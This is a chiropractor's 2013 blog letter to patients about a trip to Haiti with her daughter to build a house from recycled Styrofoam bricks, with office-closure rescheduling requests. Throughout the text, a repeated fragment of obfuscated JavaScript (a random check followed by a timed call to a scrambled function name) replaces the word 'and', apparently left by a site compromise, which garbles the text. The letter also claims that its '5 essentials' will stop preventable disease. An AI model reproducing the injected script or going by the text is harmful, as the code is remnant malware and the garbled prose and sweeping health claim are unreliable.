Dr. Mindy’s Service Trip to Haiti

Posted On : June 24, 2013

Dr. Mindy Pelz

Dear FLC Family,

As a Chiropractor I am privileged to get the opportunity to help people in our community change the way they are approaching their healthcare.  I am clear that this is my purpose in life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is what pulls me out of bed in the morning. It motivates me to be the best doctor I can be. It challenges me to learn more, hoping it will inspire all of you to move into action andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start building health in your body, not disease. It drives me to apply the 5 essentials in my own life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the lives of my loved ones. It is constantly on my mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in my heart. I know, without a shadow of a doubt, that once ALL of our community is applying the 5 essentials we will stop preventable suffering andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and disease.

I also have another purpose & passion, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that is my family. As a mother, I want my children to know that true happiness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fulfillment comes from serving others. I want my kids to grow up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ask themselves “What can I do to make a difference in this world?” As those of you who are parents understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, the best teaching lessons for our kids is through experience, not us lecturing them.

With that goal in mind, my thirteen year old daughter andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I have been presented an opportunity to serve a family in need in Haiti. This particular family lost their eldest son andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their home in the January 2010 earthquake, the second most deadly earthquake of all time. This family has been living in temporary housing in a town called Jacmel. Along with dealing with this crisis, the mother of the family is fighting a battle to heal from breast cancer.

The week of Fourth of July, my daughter andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I will be traveling to Haiti to help build this family a home (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and teaching them the 5 essentials). The unique thing about this house is that we will be building it out of recycled Styrofoam. In Haiti they have no public trash system. Trash gets thrown on the streets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rivers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ends up on the beaches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in the ocean, which creates a HUGE public health challenge. The organization we are working with has developed a system where they take this trash compress it into bricks which are then used to build houses. The house we are building is the first outside of the prototype. The goal is to show the people of Haiti that this type of house is easy to build, can be done with material that is cheep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and local, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most importantly they can do it themselves.  One of the great things about this style of building houses, other than the positive environmental andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and social impact, is that it is much safer in the event of another earthquake.

In order for me to take this trip with my daughter it requires that I close the office July 1-4th. In the 17 years I have been in practice, I have never shut the office down for four days in a row. I have thought long andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hard about this decision. I know in my heart that there is a way to make this important trip andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and continue to deliver the best health care possible to my FLC family. For those of you who would normally come in during those days, we ask that you reschedule those appointments to the week before andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and after the 4th of July. If you are coming three times a week, we ask that you come four times the week before I leave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the week when I return. If you are one time a week, we need to see you twice the week I get back. Dr. Matt Rosenstein will be in the office during normal hours on Friday andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Saturday, July 5th & 6th. I don’t want you to lose the momentum of health that is being created in your body because of these schedule changes. Your health is too important to allow that to happen!

Thank you for your understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding. Thank you for letting us serve you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your family. We are so moved by all the changes you all have been making in your healthcare. We are inspired by all the referrals of loved ones that you have poured into our office over the past months. Together we can make a difference in our community!!

 

In gratitude-

Dr. Mindy Pelz